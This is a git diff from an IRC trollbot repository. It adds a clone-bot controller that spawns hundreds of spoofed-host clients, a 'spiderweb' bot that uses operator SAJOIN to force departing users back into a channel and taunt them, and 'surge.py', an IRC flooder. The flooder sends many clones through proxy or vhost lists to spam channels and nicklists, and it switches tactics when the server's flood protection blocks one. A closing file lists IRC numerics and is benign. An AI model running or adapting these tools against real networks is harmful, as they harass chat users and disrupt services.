+	async def raw(self, data):
+		self.writer.write(data[:510].encode('utf-8') + b'\r\n')
+		await self.writer.drain()
+
+	async def connect(self):
+		while not self.destroy:
+			try:
+				options = {'host':'127.0.0.1', 'port':6667, 'limit':1024, 'ssl':None, 'family':2}
+				self.reader, self.writer = await asyncio.wait_for(asyncio.open_connection(**options), 5)
+				del options
+				await self.raw('USER {0} 0 * :{1}'.format(self.identity['user'], self.identity['real']))
+				await self.raw('NICK ' + self.identity['nick'])
+				await self.listen()
+			except Exception as ex:
+				if self.identity['nick'] == 'phalanx':
+					for item in self.clones:
+						if self.clones[item]:
+							self.clones[item].cancel()
+					self.clones = dict()
+				print('[!] - error occured (' + str(ex) + ')')
+				await asyncio.sleep(random.randint(60,300))
+
+	async def listen(self):
+		while True:
+			try:
+				data = await asyncio.wait_for(self.reader.readuntil(b'\r\n'), 600)
+				line = data.decode('utf-8').strip()
+				if self.identity['nick'] == 'phalanx':
+					print('[~] - ' + line)
+				args = line.split()
+				if args[0] == 'PING':
+					await self.raw('PONG ' + args[1][1:])
+				elif args[1] == '001':
+					await self.raw('MODE ' + self.identity['nick'] + ' +dD')
+					await self.raw(f'OPER {settings.oper_user} {settings.oper_pass}')
+					await asyncio.sleep(1)
+					await self.raw('SETHOST ' + self.identity['host'])
+					await self.raw('JOIN #phalanx')
+					if self.identity['chan'] != '#phalanx':
+						await self.raw('JOIN ' + self.identity['chan'])
+				elif args[1] == '433':
+					self.identity['nick'] = rndnick()
+					await self.raw('NICK ' + self.identity['nick'])
+				elif args[1] == 'KICK' and len(args) >= 4:
+					chan = args[2]
+					nick = args[3]
+					if nick == self.identity['nick']:
+						await asyncio.sleep(3)
+						await self.raw('JOIN ' + chan)
+				elif args[1] == 'NICK' and len(args) == 3:
+					nick = args[0][1:]
+					new  = ' '.join(args[2:])[1:]
+					if nick == self.identity['nick']:
+						self.identity['nick'] = new
+				elif args[1] == 'PRIVMSG' and len(args) >= 4:
+					ident  = args[0][1:]
+					nick   = args[0].split('!')[0][1:]
+					target = args[2]
+					msg    = ' '.join(args[3:])[1:]
+					args   = msg.split()
+					if is_admin(ident):
+						if args[0] == '.access' and len(args) == 2:
+							action = args[1][:1]
+							host   = args[1][1:]
+							if action == '+':
+								if host not in settings.access:
+									settings.access.append(host)
+									await self.sendmsg(target, color('added', green))
+							elif action == '-':
+								if host in settings.access:
+									settings.access.remove(host)
+									await self.sendmsg(target, color('removed', red))
+							elif action == '?':
+								for item in settings.access:
+									await self.sendmsg(target, color(item, yellow))
+							else:
+								await self.error('invalid command', 'usage: .access <+/-><host>')
+					if is_access(ident):
+						if args[0] == '.create' and self.identity['nick'] == 'phalanx' and len(args) >= 6:
+							if len(self.clones) < 500:
+								chan = args[1]
+								nick = rndnick() if args[2] == '%r' else args[2]
+								user = rndnick() if args[3] == '%r' else args[3]
+								host = rndip()   if args[4] == '%r' else args[4]
+								real = rndnick   if args[5] == '%r' else ' '.join(args[5:])
+								if nick != 'phalanx':
+									options = {'chan':chan,'nick':nick,'user':user,'host':host,'real':real}
+									self.clones[random.randint(1000,9999)] = asyncio.create_task(clone(identity=options).run())
+							else:
+								self.error(target, 'max clones', 'for now...')
+						elif args[0] == '.destroy' and self.identity['nick'] != 'phalanx' and len(args) == 2:
+							target = args[1]
+							if target == self.identity['nick'] or (target == '*' and is_admin(ident)):
+								self.destroy = True
+								await self.raw('QUIT :' + random.choice(('*.net *.split', f'Ping timeout: {random.randint(180,300)} seconds', 'Connection closed', 'G-line: User has been permanently banned from this network.')))
+						elif args[0] == '.raw' and len(args) >= 3:
+							target = args[1]
+							if target == 'phalanx' and not is_admin(ident):
+								self.error('yeah right...')
+							data   = ' '.join(args[2:])
+							if '#5000' not in data:
+								if target == self.identity['nick'] or (target == '*' and is_admin(ident)):
+									if args[1] == '*':
+										await asyncio.sleep(float('0.0'+str(random.randint(1111,9999))))
+									await self.raw(data)
+			except (UnicodeDecodeError, UnicodeEncodeError):
+				pass
+
+# Main
+asyncio.run(clone().run())
diff --git a/bots/spiderweb.py b/bots/spiderweb.py
new file mode 100644
index 0000000..022ea04
--- /dev/null
+++ b/bots/spiderweb.py
@@ -0,0 +1,50 @@
+#!/usr/bin/env python
+# SpiderWeb IRC Bot - Developed by acidvegas in Python (https://acid.vegas/trollbots)
+
+'''
+This bot requires network operator privledges in order to use the SAJOIN command.
+The bot will idle in the #spiderweb channel. Anyone leaving the channel will be force joined back.
+'''
+
+import socket
+import ssl
+import time
+
+nickserv_password='CHANGEME'
+operator_password='CHANGEME'
+
+def raw(msg):
+	sock.send(bytes(msg + '\r\n', 'utf-8'))
+
+while True:
+	try:
+		sock = ssl.wrap_socket(socket.socket(socket.AF_INET, socket.SOCK_STREAM))
+		sock.connect(('localhost', 6697))
+		raw(f'USER spider 0 * :CAUGHT IN THE WEB')
+		raw('NICK spider')
+		while True:
+			try:
+				data = sock.recv(1024).decode('utf-8')
+				for line in (line for line in data.split('\r\n') if len(line.split()) >= 2):
+					print('{0} | [~] - {1}'.format(time.strftime('%I:%M:%S'), line))
+					args=line.split()
+					if line.startswith('ERROR :Closing Link:'):
+						raise Exception('Connection has closed.')
+					elif args[0] == 'PING':
+						raw('PONG ' + args[1][1:])
+					elif args[1] == '001':
+						raw('MODE spider +BDd')
+						raw('PRIVMSG NickServ IDENTIFY spider ' + nickserv_password)
+						raw('OPER spider ' + operator_password)
+						raw('JOIN #spiderweb')
+					elif args[1] == 'PART' and len(args) >= 3:
+						if args[2]=='#spiderweb':
+							nick = args[0].split('!')[0][1:]
+							raw(f'SAJOIN {nick} #spiderweb')
+							raw(f'PRIVMSG #spiderweb :HA HA HA! IM A BIG ASSHOLE SPIDER AND {nick} IS CAUGHT IN MY SPIDER WEB!!!')
+			except (UnicodeDecodeError, UnicodeEncodeError):
+				pass
+	except:
+		sock.close()
+	finally:
+		time.sleep(15)
diff --git a/bots/surge.py b/bots/surge.py
new file mode 100644
index 0000000..c0a868e
--- /dev/null
+++ b/bots/surge.py
@@ -0,0 +1,396 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+# Surge IRC Flooder - Developed by acidvegas in Python (https://acid.vegas/random-irc)
+# surge.py
+
+'''
+- Action
+- Color
+- CTCP Channel / CTCP Nick *(PING, TIME, VERSION)*
+- Cycle *(Join/Part)*
+- Hilight
+- Invite
+- Message / Private Message
+- Nick
+- Notice
+- Topic
+- Nick Registration (Channel & VHOST also if successful)
+
+The script uses IRC numeric detection and will stop a specific flood type if it becomes blocked.
+If the channel becomes locked out due to a ban or specific mode, it will continue to flood the nicklist.
+'''
+
+import argparse
+import concurrent.futures
+import os
+import random
+import ssl
+import socket
+import string
+import sys
+import threading
+import time
+
+class config:
+	class connection:
+		server    = 'irc.server.com'
+		port      = 6667
+		ipv6      = False
+		ssl       = False
+		password  = None
+		channel   = '#chats'
+		key       = None
+
+	class attacks:
+		channel  = ['action','color','ctcp','msg','nick','notice','part','topic']
+		message  = 'SURGE SURGE SURGE SURGE SURGE'
+		nicklist = ['ctcp','invite','notice','private']
+
+	class throttle:
+		attack      = 3
+		concurrency = 3
+		threads     = 100
+		rejoin      = 3
+		timeout     = 15
+
+# Bad IRC Numerics
+bad_numerics = {
+	'465' : 'ERR_YOUREBANNEDCREEP',
+	'471' : 'ERR_CHANNELISFULL',
+	'473' : 'ERR_INVITEONLYCHAN',
+	'474' : 'ERR_BANNEDFROMCHAN',
+	'475' : 'ERR_BADCHANNELKEY',
+	'477' : 'ERR_NEEDREGGEDNICK',
+	'519' : 'ERR_TOOMANYUSERS'
+}
+
+def alert(msg):
+	print(f'{get_time()} | [+] - {msg}')
+
+def debug(msg):
+	print(f'{get_time()} | [~] - {msg}')
+
+def error(msg, reason=None):
+	if reason:
+		print(f'{get_time()} | [!] - {msg} ({reason})')
+	else:
+		print(f'{get_time()} | [!] - {msg}')
+
+def error_exit(msg):
+	raise SystemExit(f'{get_time()} | [!] - {msg}')
+
+def get_time():
+	return time.strftime('%I:%M:%S')
+
+def keep_alive():
+	try:
+		while True:
+			input('')
+	except KeyboardInterrupt:
+		sys.exit()
+
+def random_int(min, max):
+	return random.randint(min, max)
+
+def random_str(size):
+	return ''.join(random.choice(string.ascii_letters) for _ in range(size))
+
+class clone:
+	def __init__(self, data_line):
+		self.data_line      = data_line
+		self.invite_channel = '#' + random_str(random_int(4,7))
+		self.invite_count   = 0
+		self.nickname       = random_str(random_int(4,7))
+		self.nicklist       = []
+		self.sock           = None
+
+	def run(self):
+		self.connect()
+
+	def action(self, chan, msg):
+		self.sendmsg(chan, f'\x01ACTION {msg}\x01')
+
+	def attack_channel(self):
+		while True:
+			if not config.attacks.channel:
+				error('Channel attack list is empty.')
+				break
+			else:
+				option = random.choice(config.attacks.channel)
+				try:
+					if option in ('nick','part','topic'):
+						if option == 'nick':
+							self.nickname = random_str(random_int(4,7))
+							self.nick(self.nickname)
+						elif option == 'part':
+							self.part(config.connection.channel, config.attacks.message)
+							time.sleep(config.throttle.rejoin)
+							self.join_channel(config.connection.channel, config.connection.key)
+						elif option == 'topic':
+							self.topic(config.connection.channel, '{0} {1} {2}'.format(random_str(random_int(5,10)), config.attacks.message, random_str(random_int(5, 10))))
+					else:
+						if self.nicklist:
+							message = self.rainbow('{0} {1} {2}'.format(' '.join(random.sample(self.nicklist, 3)), config.attacks.message, ' '.join(random.sample(self.nicklist, 3))))
+						else:
+							message = self.rainbow(config.attacks.message)
+						if option == 'action':
+							self.action(config.connection.channel, message)
+						elif option == 'ctcp':
+							self.ctcp(config.connection.channel, message)
+						elif option == 'msg':
+							self.sendmsg(config.connection.channel, message)
+						elif option == 'notice':
+							self.notice(config.connection.channel, message)
+					time.sleep(config.throttle.attack)
+				except:
+					break
+
+	def attack_nicklist(self):
+		while True:
+			if not self.nicklist:
+				error('Nicklist attack list is empty.')
+				break
+			else:
+				try:
+					for nick in self.nicklist:
+						option = random.choice(config.attacks.nicklist)
+						if option == 'ctcp':
+							self.ctcp(nick, random.choice(('PING','TIME','VERSION')))
+						elif option == 'invite':
+							self.invite(nick, self.invite_channel)
+							self.invite_count += 1
+							if self.invite_count >= 10:
+								self.part(self.invite_channel)
+								self.invite_channel = '#' + random_str(random_int(5,8))
+								self.join(self.invite_channel)
+						elif option == 'notice':
+							self.notice(nick, config.attacks.message)
+						elif option == 'private':
+							self.sendmsg(nick, self.rainbow(config.attacks.message))
+						time.sleep(config.throttle.attack)
+				except:
+					break
+
+	def connect(self):
+		try:
+			self.create_socket()
+			self.sock.connect((config.connection.server, config.connection.port))
+			self.register()
+		except socket.error:
+			self.sock.close()
+		else:
+			self.listen()
+
+	def create_socket(self):
+		family = socket.AF_INET6 if config.connection.ipv6 else socket.AF_INET
+		if pargs.proxy:
+			proxy_server, proxy_port = self.data_line.split(':')
+			self.sock = socks.socksocket(family, socket.SOCK_STREAM)
+			self.sock.setblocking(0)
+			self.sock.settimeout(config.throttle.timeout)
+			self.sock.setproxy(socks.PROXY_TYPE_SOCKS5, proxy_server, int(proxy_port))
+		elif pargs.vhost:
+			self.sock = socket.socket(family, socket.SOCK_STREAM)
+			self.sock.bind((self.data_line, 0))
+		if config.connection.ssl:
+			self.sock = ssl.wrap_socket(self.sock)
+
+	def ctcp(self, target, data):
+		self.sendmsg(target, f'\001{data}\001')
+
+	def event_connect(self):
+		alert(f'Successful connection. ({self.proxy_server}:{self.proxy_port})')
+		self.join_channel(config.connection.channel, config.connection.key)
+		self.join_channel(self.invite_channel)
+
+	def event_end_of_names(self):
+		threading.Thread(target=self.attack_channel).start()
+		threading.Thread(target=self.attack_nicklist).start()
+
+	def event_kick(self, chan, kicked):
+		if kicked == self.nickname:
+			time.sleep(config.throttle.rejoin)
+			self.join_channel(config.connection.channel, config.connection.key)
+		else:
+			if nick in self.nicklist:
+				self.nicklist.remove(nick)
+
+	def event_names(self, chan, names):
+		for name in names:
+			if name[:1] in '~!@%&+:':
+				name = name[1:]
+			if name != self.nickname and name not in self.nicklist:
+				self.nicklist.append(name)
+
+	def event_nick_in_use(self):
+		self.nickname = random_str(random_int(5,8))
+		self.nick(self.nickname)
+
+	def event_quit(self, nick):
+		if nick in self.nicklist:
+			self.nicklist.remove(nick)
+
+	def handle_events(self, data):
+		args = data.split()
+		if args[0] == 'PING':
+			self.raw('PONG ' + args[1][1:])
+		elif args[1] == '001':
+			self.event_connect()
+		elif args[1] == '353':
+			chan = args[4]
+			if ' :' in data:
+				names = data.split(' :')[1].split()
+			elif ' *' in data:
+				names = data.split(' *')[1].split()
+			elif ' =' in data:
+				names = data.split(' =')[1].split()
+			else:
+				names = data.split(chan)[1].split()
+			self.event_names(chan, names)
+		elif args[1] == '366':
+			self.event_end_of_names()
+		elif args[1] == '401':
+			name = args[3]
+			if name in self.nicklist:
+				self.nicklist.remove(name)
+		elif args[1] == '404':
+			if 'ACTIONs are not permitted' in data and 'action' in config.attacks.channel:
+				config.attacks.channel.remove('action')
+			elif 'Color is not permitted' in data and 'color' in config.attacks.channel:
+				config.attacks.channel.remove('color')
+			elif 'CTCPs are not permitted' in data and 'ctcp' in config.attacks.channel:
+				config.attacks.channel.remove('ctcp')
+			elif 'You need voice' in data or 'You must have a registered nick' in data:
+				for attack in ('action','ctcp','msg','notice','topic'):
+					if attack in config.attacks.channel:
+						config.attacks.channel.remove(attack)
+			elif 'NOTICEs are not permitted' in data and 'notice' in config.attacks.channel:
+				self.attacks_channel.remove('notice')
+		elif args[1] == '433':
+			self.event_nick_in_use()
+		elif args[1] == '447':
+			if 'nick' in config.attacks.channel:
+				config.attacks.channel.remove('nick')
+		elif args[1] == '482':
+			if 'topic' in config.attacks.channel:
+				config.attacks.channel.remove('topic')
+		elif args[1] == '492':
+			if 'ctcp' in config.attacks.nicklist:
+				config.attacks.nicklist.remove('ctcp')
+		elif args[1] == '499':
+			if 'topic' in config.attacks.channel:
+				config.attacks.channel.remove('topic')
+		elif args[1] == '518':
+			if 'invite' in config.attacks.nicklist:
+				config.attacks.nicklist.remove('invite')
+		elif args[1] in bad_numerics:
+			error('Flood protection has been enabled!', bad_numerics[args[1]])
+			self.sock.close()
+		elif args[1] == 'KICK':
+			chan   = args[2]
+			kicked = args[3]
+			self.event_kick(chan, kicked)
+		elif args[1] == 'QUIT':
+			nick = args[0].split('!')[0][1:]
+			self.event_quit(nick)
+
+	def invite(self, nick, chan):
+		self.raw(f'INVITE {nick} {chan}')
+
+	def join_channel(self, chan, key=None):
+		if key:
+			self.raw(f'JOIN {chan} {key}')
+		else:
+			self.raw('JOIN ' + chan)
+
+	def listen(self):
+		while True:
+			try:
+				data = self.sock.recv(1024).decode('utf-8')
+				for line in (line for line in data.split('\r\n') if line):
+					if len(line.split()) >= 2:
+						self.handle_events(line)
+			except (UnicodeDecodeError,UnicodeEncodeError):
+				pass
+			except:
+				break
+		self.sock.close()
+
+	def nick(self, nick):
+		self.raw('NICK ' + nick)
+
+	def notice(self, target, msg):
+		self.raw(f'NOTICE {target} :{msg}')
+
+	def part(self, chan, msg):
+		self.raw(f'PART {chan} :{msg}')
+
+	def rainbow(self, msg):
+		if 'color' in config.attacks.channel:
+			message = ''
+			for i in range(random_int(10,20)):
+				message += '\x03{0:0>2},{1:0>2}{2}'.format(random_int(2,13), random_int(2,13), '▄')
+			message += '\x03{0:0>2} {1} '.format(random_int(2,13), msg)
+			for i in range(random_int(10,20)):
+				message += '\x03{0:0>2},{1:0>2}{2}'.format(random_int(2,13), random_int(2,13), '▄')
+		else:
+			message = '{0} {1} {2}'.format(random_str(random_int(10,20)), msg, random_str(random_int(10,20)))
+		return message
+
+	def raw(self, msg):
+		self.sock.send(bytes(msg + '\r\n', 'utf-8'))
+
+	def register(self):
+		if config.connection.password:
+			self.raw('PASS ' + config.connection.password)
+		self.raw('USER {0} 0 * :{1}'.format(random_str(random_int(5,8)), random_str(random_int(5,8))))
+		self.nick(self.nickname)
+
+	def sendmsg(self, target, msg):
+		self.raw(f'PRIVMSG {target} :{msg}')
+
+	def topic(self, chan, text):
+		self.raw(f'TOPIC {chan} :{text}')
+
+	def unicode(self, msg):
+		start = 0x1000
+		end   = 0x3000
+		message = ''
+		for i in range(random.randint(100,150)):
+			message = message + chr(random.randint(start, end))
+		message = message + msg
+		for i in range(random.randint(100,150)):
+			message = message + chr(random.randint(start, end))
+
+
+# Main
+print('#'*56)
+print('#{0}#'.format(''.center(54)))
+print('#{0}#'.format('Surge IRC Flooder'.center(54)))
+print('#{0}#'.format('Developed by acidvegas in Python'.center(54)))
+print('#{0}#'.format('https://acid.vegas/trollbots'.center(54)))
+print('#{0}#'.format(''.center(54)))
+print('#'*56)
+parser = argparse.ArgumentParser(usage='%(prog)s <input> [options]')
+parser.add_argument('input',         help='file to scan')
+parser.add_argument('-p', '--proxy', help='proxy list', action='store_true')
+parser.add_argument('-v', '--vhost', help='vhost list', action='store_true')
+pargs = parser.parse_args()
+if (pargs.proxy and pargs.vhost) or (not pargs.proxy and not pargs.vhost):
+	error_exit('Invalid arguments.')
+if pargs.proxy:
+	try:
+		import socks
+	except ImportError:
+		error_exit('Missing PySocks module! (https://pypi.python.org/pypi/PySocks)')
+if not os.path.isfile(pargs.input):
+	error_exit('No such input file.')
+data_lines = [line.strip() for line in open(pargs.input).readlines() if line]
+debug(f'Loaded {len(data_lines)} lines from file.')
+random.shuffle(data_lines)
+for i in range(config.throttle.concurrency):
+	with concurrent.futures.ThreadPoolExecutor(max_workers=config.throttle.threads) as executor:
+		checks = {executor.submit(clone(line).connect): line for line in data_lines}
+		for future in concurrent.futures.as_completed(checks):
+			checks[future]
+debug('Flooding is complete.')
\ No newline at end of file
diff --git a/constants.py b/constants.py
new file mode 100644
index 0000000..3cdbdf1
--- /dev/null
+++ b/constants.py
@@ -0,0 +1,703 @@
+#!/usr/bin/env python
+# internet relay chat constants - developed by acidvegas in python (https://git.acid.vegas/random-irc)
+
+# revision 1.0 (2023)
+
+class control:
+	bold      = '\x02'
+	color     = '\x03'
+	italic    = '\x1D'
+	underline = '\x1F'
+	reverse   = '\x16'
+	reset     = '\x0f'
+
+class colors:
+	white       = '00'
+	black       = '01'
+	blue        = '02'
+	green       = '03'
+	red         = '04'
+	brown       = '05'
+	purple      = '06'
+	orange      = '07'
+	yellow      = '08'
+	light_green = '09'
+	cyan        = '10'
+	light_cyan  = '11'
+	light_blue  = '12'
+	pink        = '13'
+	grey        = '14'
+	light_grey  = '15'
+
+class numerics:
+	RPL_WELCOME              = '001' # RFC2812
+	RPL_YOURHOST             = '002' # RFC2812
+	RPL_CREATED              = '003' # RFC2812
+	RPL_MYINFO               = '004' # RFC2812
+	RPL_BOUNCE               = '005' # RFC2812
+	RPL_ISUPPORT             = '005'
+	RPL_MAP                  = '006' # Unreal
+	RPL_MAPEND               = '007' # Unreal
+	RPL_SNOMASK              = '008' # ircu
+	RPL_STATMEMTOT           = '009' # ircu
+	RPL_BOUNCE               = '010'
+	RPL_STATMEM              = '010' # ircu
+	RPL_YOURCOOKIE           = '014' # Hybrid?
+	RPL_MAP                  = '015' # ircu
+	RPL_MAPMORE              = '016' # ircu
+	RPL_MAPEND               = '017' # ircu
+	RPL_MAPUSERS             = '018' # InspIRCd
+	RPL_HELLO                = '020' # rusnet-ircd
+	RPL_APASSWARN_SET        = '030' # ircu
+	RPL_APASSWARN_SECRET     = '031' # ircu
+	RPL_APASSWARN_CLEAR      = '032' # ircu
+	RPL_YOURID               = '042' # IRCnet
+	RPL_SAVENICK             = '043' # IRCnet
+	RPL_ATTEMPTINGJUNC       = '050' # aircd
+	RPL_ATTEMPTINGREROUTE    = '051' # aircd
+	RPL_REMOTEISUPPORT       = '105' # Unreal
+	RPL_TRACELINK            = '200' # RFC1459
+	RPL_TRACECONNECTING      = '201' # RFC1459
+	RPL_TRACEHANDSHAKE       = '202' # RFC1459
+	RPL_TRACEUNKNOWN         = '203' # RFC1459
+	RPL_TRACEOPERATOR        = '204' # RFC1459
+	RPL_TRACEUSER            = '205' # RFC1459
+	RPL_TRACESERVER          = '206' # RFC1459
+	RPL_TRACESERVICE         = '207' # RFC2818
+	RPL_TRACENEWTYPE         = '208' # RFC1459
+	RPL_TRACECLASS           = '209' # RFC2818
+	RPL_TRACERECONNECT       = '210' # RFC2818
+	RPL_STATS                = '210' # aircd
+	RPL_STATSHELP            = '210' # Unreal
+	RPL_STATSLINKINFO        = '211' # RFC1459
+	RPL_STATSCOMMANDS        = '212' # RFC1459
+	RPL_STATSCLINE           = '213' # RFC1459
+	RPL_STATSNLINE           = '214' # RFC1459
+	RPL_STATSILINE           = '215' # RFC1459
+	RPL_STATSKLINE           = '216' # RFC1459
+	RPL_STATSQLINE           = '217' # RFC1459
+	RPL_STATSPLINE           = '217' # ircu
+	RPL_STATSYLINE           = '218' # RFC1459
+	RPL_ENDOFSTATS           = '219' # RFC1459
+	RPL_STATSPLINE           = '220' # Hybrid
+	RPL_STATSBLINE           = '220' # Bahamut, Unreal
+	RPL_STATSWLINE           = '220' # Nefarious
+	RPL_UMODEIS              = '221' # RFC1459
+	RPL_MODLIST              = '222'
+	RPL_SQLINE_NICK          = '222' # Unreal
+	RPL_STATSBLINE           = '222' # Bahamut
+	RPL_STATSJLINE           = '222' # ircu
+	RPL_CODEPAGE             = '222' # rusnet-ircd
+	RPL_STATSELINE           = '223' # Bahamut
+	RPL_STATSGLINE           = '223' # Unreal
+	RPL_CHARSET              = '223' # rusnet-ircd
+	RPL_STATSFLINE           = '224' # Hybrid, Bahamut
+	RPL_STATSTLINE           = '224' # Unreal
+	RPL_STATSDLINE           = '225' # Hybrid
+	RPL_STATSCLONE           = '225' # Bahamut
+	RPL_STATSZLINE           = '225' # Bahamut
+	RPL_STATSELINE           = '225' # Unreal
+	RPL_STATSCOUNT           = '226' # Bahamut
+	RPL_STATSALINE           = '226' # Hybrid
+	RPL_STATSNLINE           = '226' # Unreal
+	RPL_STATSGLINE           = '227' # Bahamut
+	RPL_STATSVLINE           = '227' # Unreal
+	RPL_STATSBLINE           = '227' # Rizon
+	RPL_STATSQLINE           = '228' # ircu
+	RPL_STATSBANVER          = '228' # Unreal
+	RPL_STATSSPAMF           = '229' # Unreal
+	RPL_STATSEXCEPTTKL       = '230' # Unreal
+	RPL_SERVICEINFO          = '231' # RFC1459
+	RPL_ENDOFSERVICES        = '232' # RFC1459
+	RPL_RULES                = '232' # Unreal
+	RPL_SERVICE              = '233' # RFC1459
+	RPL_SERVLIST             = '234' # RFC2818
+	RPL_SERVLISTEND          = '235' # RFC2818
+	RPL_STATSVERBOSE         = '236' # ircu
+	RPL_STATSENGINE          = '237' # ircu
+	RPL_STATSFLINE           = '238' # ircu
+	RPL_STATSIAUTH           = '239' # IRCnet
+	RPL_STATSVLINE           = '240' # RFC2818
+	RPL_STATSXLINE           = '240' # AustHex
+	RPL_STATSLLINE           = '241' # RFC1459
+	RPL_STATSUPTIME          = '242' # RFC1459
+	RPL_STATSOLINE           = '243' # RFC1459
+	RPL_STATSHLINE           = '244' # RFC1459
+	RPL_STATSSLINE           = '245' # Bahamut, IRCnet, Hybrid
+	RPL_STATSTLINE           = '245' # Hybrid
+	RPL_STATSPING            = '246' # RFC2818
+	RPL_STATSSERVICE         = '246' # Hybrid
+	RPL_STATSTLINE           = '246' # ircu
+	RPL_STATSULINE           = '246' # Hybrid
+	RPL_STATSBLINE           = '247' # RFC2818
+	RPL_STATSXLINE           = '247' # Hybrid, PTlink, Unreal
+	RPL_STATSGLINE           = '247' # ircu
+	RPL_STATSULINE           = '248' # ircu
+	RPL_STATSDEFINE          = '248' # IRCnet
+	RPL_STATSULINE           = '249'
+	RPL_STATSDEBUG           = '249' # Hybrid
+	RPL_STATSDLINE           = '250' # RFC2818
+	RPL_STATSCONN            = '250' # ircu, Unreal
+	RPL_LUSERCLIENT          = '251' # RFC1459
+	RPL_LUSEROP              = '252' # RFC1459
+	RPL_LUSERUNKNOWN         = '253' # RFC1459
+	RPL_LUSERCHANNELS        = '254' # RFC1459
+	RPL_LUSERME              = '255' # RFC1459
+	RPL_ADMINME              = '256' # RFC1459
+	RPL_ADMINLOC1            = '257' # RFC1459
+	RPL_ADMINLOC2            = '258' # RFC1459
+	RPL_ADMINEMAIL           = '259' # RFC1459
+	RPL_TRACELOG             = '261' # RFC1459
+	RPL_TRACEPING            = '262'
+	RPL_TRACEEND             = '262' # RFC2818
+	RPL_TRYAGAIN             = '263' # RFC2818
+	RPL_USINGSSL             = '264' # rusnet-ircd
+	RPL_LOCALUSERS           = '265' # aircd, Hybrid, Bahamut
+	RPL_GLOBALUSERS          = '266' # aircd, Hybrid, Bahamut
+	RPL_START_NETSTAT        = '267' # aircd
+	RPL_NETSTAT              = '268' # aircd
+	RPL_END_NETSTAT          = '269' # aircd
+	RPL_PRIVS                = '270' # ircu
+	RPL_MAPUSERS             = '270' # InspIRCd 2.0
+	RPL_SILELIST             = '271' # ircu
+	RPL_ENDOFSILELIST        = '272' # ircu
+	RPL_NOTIFY               = '273' # aircd
+	RPL_ENDNOTIFY            = '274' # aircd
+	RPL_STATSDELTA           = '274' # IRCnet
+	RPL_STATSDLINE           = '275' # ircu, Ultimate
+	RPL_USINGSSL             = '275' # Bahamut
+	RPL_WHOISCERTFP          = '276' # oftc-Hybrid
+	RPL_STATSRLINE           = '276' # ircu
+	RPL_VCHANEXIST           = '276' # Hybrid
+	RPL_VCHANLIST            = '277' # Hybrid
+	RPL_VCHANHELP            = '278' # Hybrid7.0
+	RPL_GLIST                = '280' # ircu
+	RPL_ENDOFGLIST           = '281' # ircu
+	RPL_ACCEPTLIST           = '281'
+	RPL_ENDOFACCEPT          = '282'
+	RPL_JUPELIST             = '282' # ircu
+	RPL_ALIST                = '283'
+	RPL_ENDOFJUPELIST        = '283' # ircu
+	RPL_ENDOFALIST           = '284'
+	RPL_FEATURE              = '284' # ircu
+	RPL_GLIST_HASH           = '285'
+	RPL_CHANINFO_HANDLE      = '285' # aircd
+	RPL_NEWHOSTIS            = '285' # QuakeNet
+	RPL_CHANINFO_USERS       = '286' # aircd
+	RPL_CHKHEAD              = '286' # QuakeNet
+	RPL_CHANINFO_CHOPS       = '287' # aircd
+	RPL_CHANUSER             = '287' # QuakeNet
+	RPL_CHANINFO_VOICES      = '288' # aircd
+	RPL_PATCHHEAD            = '288' # QuakeNet
+	RPL_CHANINFO_AWAY        = '289' # aircd
+	RPL_PATCHCON             = '289' # QuakeNet
+	RPL_CHANINFO_OPERS       = '290' # aircd
+	RPL_HELPHDR              = '290' # Unreal
+	RPL_DATASTR              = '290' # QuakeNet
+	RPL_CHANINFO_BANNED      = '291' # aircd
+	RPL_HELPOP               = '291' # Unreal
+	RPL_ENDOFCHECK           = '291' # QuakeNet
+	RPL_CHANINFO_BANS        = '292' # aircd
+	RPL_HELPTLR              = '292' # Unreal
+	ERR_SEARCHNOMATCH        = '292' # Nefarious
+	RPL_CHANINFO_INVITE      = '293' # aircd
+	RPL_HELPHLP              = '293' # Unreal
+	RPL_CHANINFO_INVITES     = '294' # aircd
+	RPL_HELPFWD              = '294' # Unreal
+	RPL_CHANINFO_KICK        = '295' # aircd
+	RPL_HELPIGN              = '295' # Unreal
+	RPL_CHANINFO_KICKS       = '296' # aircd
+	RPL_END_CHANINFO         = '299' # aircd
+	RPL_NONE                 = '300' # RFC1459
+	RPL_AWAY                 = '301' # RFC1459
+	RPL_USERHOST             = '302' # RFC1459
+	RPL_ISON                 = '303' # RFC1459
+	RPL_TEXT                 = '304' # irc2
+	RPL_UNAWAY               = '305' # RFC1459
+	RPL_NOWAWAY              = '306' # RFC1459
+	RPL_USERIP               = '307'
+	RPL_WHOISREGNICK         = '307' # Bahamut, Unreal
+	RPL_SUSERHOST            = '307' # AustHex
+	RPL_NOTIFYACTION         = '308' # aircd
+	RPL_WHOISADMIN           = '308' # Bahamut
+	RPL_RULESSTART           = '308' # Unreal
+	RPL_NICKTRACE            = '309' # aircd
+	RPL_WHOISSADMIN          = '309' # Bahamut
+	RPL_ENDOFRULES           = '309' # Unreal
+	RPL_WHOISHELPER          = '309' # AustHex
+	RPL_WHOISSERVICE         = '309' # oftc-Hybrid
+	RPL_WHOISSVCMSG          = '310' # Bahamut
+	RPL_WHOISHELPOP          = '310' # Unreal
+	RPL_WHOISSERVICE         = '310' # AustHex
+	RPL_WHOISUSER            = '311' # RFC1459
+	RPL_WHOISSERVER          = '312' # RFC1459
+	RPL_WHOISOPERATOR        = '313' # RFC1459
+	RPL_WHOWASUSER           = '314' # RFC1459
+	RPL_ENDOFWHO             = '315' # RFC1459
+	RPL_WHOISPRIVDEAF        = '316' # Nefarious
+	RPL_WHOISCHANOP          = '316' # RFC1459
+	RPL_WHOISIDLE            = '317' # RFC1459
+	RPL_ENDOFWHOIS           = '318' # RFC1459
+	RPL_WHOISCHANNELS        = '319' # RFC1459
+	RPL_WHOISVIRT            = '320' # AustHex
+	RPL_WHOIS_HIDDEN         = '320' # AnotherNet
+	RPL_WHOISSPECIAL         = '320' # Unreal
+	RPL_LISTSTART            = '321' # RFC1459
+	RPL_LIST                 = '322' # RFC1459
+	RPL_LISTEND              = '323' # RFC1459
+	RPL_CHANNELMODEIS        = '324' # RFC1459
+	RPL_UNIQOPIS             = '325' # RFC2818
+	RPL_CHANNELPASSIS        = '325'
+	RPL_WHOISWEBIRC          = '325' # Nefarious
+	RPL_CHANNELMLOCKIS       = '325' # sorircd
+	RPL_NOCHANPASS           = '326'
+	RPL_CHPASSUNKNOWN        = '327'
+	RPL_WHOISHOST            = '327' # rusnet-ircd
+	RPL_CHANNEL_URL          = '328' # Bahamut, AustHex
+	RPL_CREATIONTIME         = '329' # Bahamut
+	RPL_WHOWAS_TIME          = '330'
+	RPL_WHOISACCOUNT         = '330' # ircu
